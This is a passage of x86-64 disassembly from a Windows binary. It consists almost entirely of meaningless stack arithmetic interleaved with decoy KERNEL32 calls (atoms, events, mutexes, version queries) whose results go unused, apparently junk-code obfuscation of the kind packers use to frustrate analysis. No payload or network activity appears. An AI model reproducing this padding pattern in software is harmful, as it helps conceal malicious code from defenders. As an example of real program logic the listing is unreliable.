mov rcx, qword [rsp + 0x4368]
mov dword [rcx], eax
mov edx, 0x133
mov rcx, qword [rsp + 0x5ab0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2178], eax
movzx eax, byte [rsp + 0x1b3]
movzx ecx, byte [rsp + 0x8e]
add eax, ecx
mov byte [rsp + 0x1d1], al
lea rax, [rsp + 0x1cb8]
mov qword [rsp + 0x75e8], rax
lea rax, [rsp + 0xa1c]
mov qword [0x14018c688], rax
movzx eax, word [rsp + 0xad4]
mov rcx, qword [rsp + 0x5b18]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xec4], ax
lea rax, [rsp + 0xcb8]
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x35f0]
mov rcx, qword [rsp + 0x4e50]
mov qword [rsp + 0x75f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x75f8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6770]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20f0]
mov ecx, dword [rsp + 0x1d88]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5638]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x6610]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x3fc0]
mov rcx, qword [0x14018ad68]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a38]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xf08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc8c], ax
lea rax, [rsp + 0xd04]
mov qword [rsp + 0x7600], rax
mov rax, qword [rsp + 0x4850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x48c]
add eax, ecx
mov rcx, qword [rsp + 0x56a8]
mov word [rcx], ax
mov rax, qword [0x14018c2e0]
mov rcx, qword [rsp + 0x75d0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018c2b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4960]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6148]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6f90]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d28]
mov qword [rsp + 0x7608], rax
mov rax, qword [rsp + 0x4aa0]
mov rax, qword [rax]
mov rcx, qword [0x14018c130]
mov qword [rsp + 0x7610], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7610]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3f50]
mov qword [rcx], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x7618], rax
mov rax, qword [rsp + 0x6328]
mov rcx, qword [rsp + 0x37b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68e8], rax
lea rax, [rsp + 0x1f04]
mov qword [rsp + 0x7620], rax
mov rax, qword [rsp + 0x5620]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6060]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11b], al
mov eax, dword [rsp + 0x21f4]
mov ecx, dword [rsp + 0x20d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4570]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4848]
movzx eax, word [rax]
mov word [0x14018c690], ax
lea rax, [rsp + 0xe70]
mov qword [rsp + 0x7628], rax
movzx eax, word [rsp + 0xed0]
movzx ecx, word [rsp + 0x600]
and eax, ecx
mov word [rsp + 0x618], ax
mov rax, qword [rsp + 0x4320]
movzx eax, word [rax]
mov word [rsp + 0xf10], ax
movsx eax, byte [rsp + 0x138]
movsx ecx, byte [rsp + 0x10a]
add eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0x7200]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3188]
shr rax, cl
mov rcx, qword [rsp + 0x6b00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2158]
mov ecx, dword [0x14018ad48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d38], eax
mov rax, qword [rsp + 0x5b08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe1c]
xor eax, ecx
mov rcx, qword [rsp + 0x6a48]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x7630], rax
mov rax, qword [rsp + 0x68a0]
movzx eax, word [rax]
mov word [rsp + 0xf14], ax
lea rax, [rsp + 0x7030]
mov qword [0x14018c698], rax
mov rax, qword [rsp + 0x39b8]
movzx ecx, al
mov rax, qword [rsp + 0x61a0]
shl rax, cl
mov qword [rsp + 0x4360], rax
mov rax, qword [rsp + 0x5848]
mov rcx, qword [0x14018c300]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2dc8], rax
mov rax, qword [rsp + 0x6d88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe74]
add eax, ecx
mov rcx, qword [rsp + 0x7120]
mov word [rcx], ax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x7638], rax
mov eax, dword [rsp + 0x1e80]
movzx ecx, al
mov eax, dword [rsp + 0x2210]
sar eax, cl
mov rcx, qword [rsp + 0x6130]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5be0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1cec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x212c], eax
lea rax, [rsp + 0x1c1]
mov qword [rsp + 0x7640], rax
mov rax, qword [rsp + 0x5ec8]
mov rcx, qword [rsp + 0x6d68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14018ad80], rax
movsx eax, word [rsp + 0xd2c]
movsx ecx, word [rsp + 0xc58]
sub eax, ecx
mov rcx, qword [rsp + 0x58b8]
mov word [rcx], ax
mov rax, qword [0x14018c640]
movzx eax, word [rax]
mov word [rsp + 0xf18], ax
movzx eax, word [rsp + 0xd58]
mov rcx, qword [rsp + 0x4960]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6ac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x31f0]
mov qword [rsp + 0x7648], rax
mov rax, qword [rsp + 0x4858]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ef8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e38], rax
mov rax, qword [rsp + 0x7180]
mov rcx, qword [rsp + 0x5768]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20e4], eax
movsx eax, byte [rsp + 0xd2]
mov rcx, qword [rsp + 0x6460]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0x6280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6928]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x71b0]
mov word [rcx], ax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x390]
movzx ecx, word [rsp + 0xd68]
or eax, ecx
mov word [0x14018ae00], ax
lea rax, [rsp + 0x6eb8]
mov qword [rsp + 0x7650], rax
mov rax, qword [rsp + 0x65d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd94]
sar eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x21cc], eax
lea rax, [rsp + 0x1c4]
mov qword [rsp + 0x7658], rax
mov rax, qword [rsp + 0x7320]
mov rcx, qword [rsp + 0x50e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x21bc], eax
mov rax, qword [rsp + 0x3930]
mov qword [rsp + 0x7660], rax
movsx eax, byte [0x14018bdca]
mov rcx, qword [rsp + 0x4338]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5d38]
mov byte [rcx], al
movsx eax, word [rsp + 0xd84]
mov rcx, qword [rsp + 0x4f80]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xca8], ax
movzx eax, word [rsp + 0xd34]
mov rcx, qword [rsp + 0x6170]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018bf80]
mov word [rcx], ax
mov rax, qword [rsp + 0x2e48]
mov rcx, qword [rsp + 0x2d28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3330], rax
mov rax, qword [rsp + 0x4bf0]
mov rcx, qword [rsp + 0x40b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6410]
mov qword [rcx], rax
lea rax, [rsp + 0xd24]
mov qword [rsp + 0x7668], rax
movzx eax, word [rsp + 0x3d8]
mov rcx, qword [rsp + 0x4ab8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4070]
mov word [rcx], ax
lea rax, [rsp + 0x20f0]
mov qword [rsp + 0x7670], rax
mov rax, qword [rsp + 0x6220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4160]
mov qword [rsp + 0x7678], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7678]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4258], rax
movsx eax, byte [rsp + 0x1f3]
movsx ecx, byte [rsp + 0x1a9]
xor eax, ecx
mov byte [rsp + 0x1e0], al
lea rcx, str.t2Rxx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xeb4], ax
lea rax, [rsp + 0x6030]
mov qword [rsp + 0x7680], rax
movsx eax, word [rsp + 0x3b8]
movsx ecx, word [rsp + 0xcac]
sar eax, cl
mov word [0x14018c4d0], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x5b30]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6870]
mov word [rcx], ax
mov eax, dword [rsp + 0x1fa0]
mov dword [rsp + 0x2224], eax
mov rax, qword [rsp + 0x5af8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1cc]
sub eax, ecx
mov byte [rsp + 0x1d4], al
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2e48]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49f0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x5df0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2058], eax
lea rax, [rsp + 0x4568]
mov qword [rsp + 0x7688], rax
movsx eax, byte [0x14018acdb]
mov rcx, qword [rsp + 0x5f78]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5348]
mov byte [rcx], al
lea rax, [rsp + 0x2048]
mov qword [rsp + 0x7690], rax
mov rax, qword [rsp + 0x6dd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
and eax, ecx
mov rcx, qword [rsp + 0x6e30]
mov word [rcx], ax
mov rax, qword [rsp + 0x6250]
movzx eax, word [rax]
mov word [0x14018c6a0], ax
mov rax, qword [rsp + 0x2bc8]
mov rcx, qword [rsp + 0x5fa8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xec0]
mov word [rsp + 0xf1c], ax
movsx eax, word [rsp + 0x9a8]
movsx ecx, word [0x14018adfc]
sar eax, cl
mov word [rsp + 0xeb0], ax
lea rax, [rsp + 0x32a0]
mov qword [rsp + 0x7698], rax
mov rax, qword [rsp + 0x7660]
mov rcx, qword [rsp + 0x3608]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
movsx eax, byte [0x14018acd9]
movsx ecx, byte [rsp + 0x1fc]
and eax, ecx
mov rcx, qword [rsp + 0x4270]
mov byte [rcx], al
lea rax, [rsp + 0x21dc]
mov qword [rsp + 0x76a0], rax
mov rax, qword [rsp + 0x4018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6e90]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x864], ax
lea rax, [rsp + 0x6448]
mov qword [0x14018c6a8], rax
lea rax, [rsp + 0x97]
mov qword [rsp + 0x76a8], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3bb8]
mov qword [rsp + 0x76b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x76b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x63b0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x76b8], rax
mov rax, qword [rsp + 0x67a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5738]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x974], ax
mov rax, qword [rsp + 0x71c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x64c0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x16e]
mov rcx, qword [rsp + 0x57e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0x3188]
mov qword [rsp + 0x76c0], rax
mov rax, qword [rsp + 0x3ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6580]
mov dword [rcx], eax
lea rax, [rsp + 0xe6c]
mov qword [rsp + 0x76c8], rax
movzx eax, word [rsp + 0x9dc]
mov rcx, qword [rsp + 0x4c08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c1b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4770]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3098], rax
mov rax, qword [rsp + 0x4bb0]
mov rcx, qword [0x14018ad88]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7290], rax
lea rax, [rsp + 0x7318]
mov qword [rsp + 0x76d0], rax
mov rax, qword [rsp + 0x5738]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca8]
and eax, ecx
mov rcx, qword [rsp + 0x6f30]
mov word [rcx], ax
lea rax, [rsp + 0x157]
mov qword [rsp + 0x76d8], rax
mov eax, dword [rsp + 0x2068]
mov rcx, qword [rsp + 0x5eb0]
mov qword [rsp + 0x76e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x76e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1d44], eax
movzx ecx, word [rsp + 0xda4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdc0], ax
mov rax, qword [rsp + 0x57b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7038]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x52d8]
mov qword [rcx], rax
lea rax, [rsp + 0x2220]
mov qword [rsp + 0x76e8], rax
movzx eax, byte [rsp + 0x202]
movzx ecx, byte [rsp + 0x166]
sub eax, ecx
mov byte [rsp + 0x177], al
movsx eax, word [rsp + 0xd24]
mov rcx, qword [rsp + 0x5ad8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018ae04], ax
movzx eax, word [0x14018c6a0]
movzx ecx, word [rsp + 0xd58]
or eax, ecx
mov word [rsp + 0x6c4], ax
mov rax, qword [rsp + 0x67c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x66b0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4018]
mov word [rcx], ax
mov rax, qword [rsp + 0x46a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7030]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49a0]
mov qword [rcx], rax
lea rax, [rsp + 0x2048]
mov qword [rsp + 0x76f0], rax
mov rax, qword [rsp + 0x5d18]
mov rcx, qword [rsp + 0x7038]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c98]
mov qword [rcx], rax
lea rax, [rsp + 0x152]
mov qword [rsp + 0x76f8], rax
movsx eax, word [rsp + 0xa1c]
mov rcx, qword [rsp + 0x4f58]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x71f0]
mov word [rcx], ax
movzx eax, word [rsp + 0x67c]
mov word [rsp + 0xf20], ax
mov rax, qword [rsp + 0x61f0]
mov rcx, qword [rsp + 0x72f8]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14018be30], rax
movzx eax, word [0x14018c478]
mov rcx, qword [rsp + 0x65d0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov rax, qword [rsp + 0x47b0]
mov rcx, qword [rsp + 0x41d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4178]
mov qword [rcx], rax
mov rax, qword [0x14018c140]
mov rcx, qword [rsp + 0x4eb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3200], rax
mov rax, qword [rsp + 0x5010]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6e20]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xca], al
lea rax, [rsp + 0x2110]
mov qword [rsp + 0x7700], rax
movzx eax, byte [rsp + 0x8e]
movzx ecx, byte [rsp + 0x1f2]
and eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4af0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1fd0]
shl eax, cl
mov rcx, qword [rsp + 0x6868]
mov dword [rcx], eax
lea rax, [rsp + 0x5098]
mov qword [rsp + 0x7708], rax
lea rax, [0x14018adfc]
mov qword [0x14018c6b0], rax
mov rax, qword [rsp + 0x4b50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4710]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
lea rax, [rsp + 0x3b4]
mov qword [rsp + 0x7710], rax
movzx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0x5438]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6fc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3fc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x6e40]
mov eax, dword [rax]
mov dword [rsp + 0x2228], eax
mov rcx, qword [rsp + 0x6a08]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21f8], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x69a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5158], rax
lea rax, [rsp + 0xddc]
mov qword [rsp + 0x7718], rax
movzx eax, word [rsp + 0xdc4]
mov rcx, qword [rsp + 0x6700]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4af8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5dc8]
mov rax, qword [rax]
mov rcx, qword [0x14018c1c8]
mov qword [rsp + 0x7720], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7720]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14018adc0], rax
lea rax, [rsp + 0x2df8]
mov qword [rsp + 0x7728], rax
mov rax, qword [rsp + 0x4268]
mov rcx, qword [rsp + 0x39a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5ed0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x47b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3820]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58f8]
mov qword [rcx], rax
lea rax, [rsp + 0x91c]
mov qword [rsp + 0x7730], rax
mov rax, qword [rsp + 0x6a98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1de0], eax
lea rax, [0x14018acda]
mov qword [rsp + 0x7738], rax
movsx eax, byte [rsp + 0x1b1]
mov rcx, qword [rsp + 0x5dd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4820]
mov byte [rcx], al
mov eax, dword [rsp + 0x2084]
mov rcx, qword [rsp + 0x4ff8]
mov qword [rsp + 0x7740], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7740]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2204], eax
mov rax, qword [rsp + 0x2e70]
mov rcx, qword [rsp + 0x6578]
xor rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c368]
mov qword [rcx], rax
lea rax, [rsp + 0xdd4]
mov qword [rsp + 0x7748], rax
mov rax, qword [rsp + 0x53b0]
movsx eax, word [rax]
movsx ecx, word [0x14018be7c]
or eax, ecx
mov word [rsp + 0xc5c], ax
lea rax, [rsp + 0xdf4]
mov qword [rsp + 0x7750], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x222c], eax
mov rax, qword [rsp + 0x6ec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61f0]
mov qword [rsp + 0x7758], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7758]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4428]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6d48]
mov rcx, qword [rsp + 0x5b68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f0]
mov qword [rcx], rax
lea rax, [rsp + 0x2228]
mov qword [rsp + 0x7760], rax
mov rax, qword [rsp + 0x6560]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x175]
add eax, ecx
mov rcx, qword [rsp + 0x6718]
mov byte [rcx], al
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x7768], rax
lea rax, [0x14018bea8]
mov qword [0x14018c6b8], rax
mov rax, qword [rsp + 0x4428]
mov rcx, qword [rsp + 0x6be8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5758]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd68]
and eax, ecx
mov rcx, qword [rsp + 0x3d98]
mov word [rcx], ax
movzx eax, byte [0x14018acda]
mov byte [rsp + 0x206], al
mov eax, dword [rsp + 0x1f10]
movzx ecx, al
mov eax, dword [rsp + 0x1fd0]
sar eax, cl
mov dword [rsp + 0x2224], eax
mov rax, qword [rsp + 0x7520]
mov ecx, dword [rsp + 0x1c64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1cdc], eax
mov rax, qword [rsp + 0x5980]
mov rcx, qword [rsp + 0x4680]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6798]
mov qword [rcx], rax
lea rax, [rsp + 0x1b2]
mov qword [rsp + 0x7770], rax
movsx eax, word [rsp + 0x9b0]
mov rcx, qword [rsp + 0x52e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe48], ax
mov rax, qword [rsp + 0x5ec0]
movzx eax, word [rax]
mov word [0x14018c6c0], ax
mov rax, qword [rsp + 0x46c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3320]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x56c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6528]
mov rax, qword [rax]
mov qword [rsp + 0x7778], rax
mov rax, qword [0x14018c238]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5448]
mov word [rcx], ax
mov rax, qword [rsp + 0x72b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a4]
shl eax, cl
mov word [rsp + 0x6a4], ax
mov rax, qword [rsp + 0x5628]
mov rcx, qword [rsp + 0x6d68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2e80], rax
mov rax, qword [rsp + 0x53e8]
mov rcx, qword [rsp + 0x4420]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2148], eax
lea rax, [rsp + 0x1ef]
mov qword [rsp + 0x7780], rax
mov rax, qword [rsp + 0x6058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6048]
mov qword [rsp + 0x7788], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7788]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x49c0]
mov qword [rcx], rax
mov dword [rsp + 0x2230], 0x4b547d89
mov rax, qword [rsp + 0x7350]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8f8]
add eax, ecx
mov word [0x14018bdc4], ax
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x7790], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d3]
sub eax, ecx
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0x6420]
mov rcx, qword [rsp + 0x4410]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5b78]
mov dword [rcx], eax
lea rax, [rsp + 0x3098]
mov qword [rsp + 0x7798], rax
movsx eax, byte [rsp + 0x78]
movsx ecx, byte [rsp + 0x150]
sar eax, cl
mov rcx, qword [rsp + 0x4e60]
mov byte [rcx], al
mov r9d, 0xb3e
xor r8d, r8d
lea rdx, [rsp + 0x48c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2018], eax
lea rax, [rsp + 0x20a4]
mov qword [rsp + 0x77a0], rax
mov rax, qword [rsp + 0x2b40]
mov rcx, qword [rsp + 0x68e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7688]
mov qword [rcx], rax
lea rax, [0x14018bfc0]
mov qword [rsp + 0x77a8], rax
movzx eax, word [rsp + 0xd00]
mov rcx, qword [rsp + 0x4098]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018add4], ax
mov rax, qword [rsp + 0x3f70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3650]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53f8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x5b88]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3a4], ax
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x77b0], rax
mov rax, qword [0x14018ad28]
mov rcx, qword [rsp + 0x6b90]
mov qword [rsp + 0x77b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x77b8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6d78]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x153]
mov byte [rsp + 0x207], al
mov rax, qword [rsp + 0x6e60]
mov rcx, qword [rsp + 0x68a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6910]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1e0c]
mov rcx, qword [rsp + 0x6648]
mov qword [rsp + 0x77c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x77c0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4d88]
mov dword [rcx], eax
movzx eax, word [rsp + 0xe14]
mov word [rsp + 0xf24], ax
lea rax, [rsp + 0x37f0]
mov qword [0x14018c6c8], rax
movzx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0x66f0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x1b6], al
lea rax, [rsp + 0x2100]
mov qword [rsp + 0x77c8], rax
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0x3ac]
add eax, ecx
mov rcx, qword [rsp + 0x5c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x5fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb44]
sub eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov word [rcx], ax
lea rax, [rsp + 0x5158]
mov qword [rsp + 0x77d0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x5dd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3f30]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x152], al
lea rax, [rsp + 0x1d88]
mov qword [rsp + 0x77d8], rax
mov rax, qword [rsp + 0x52e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5de8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4710]
mov word [rcx], ax
lea rax, [rsp + 0x478]
mov qword [0x14018c6d0], rax
mov rax, qword [rsp + 0x7260]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x31f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5828], rax
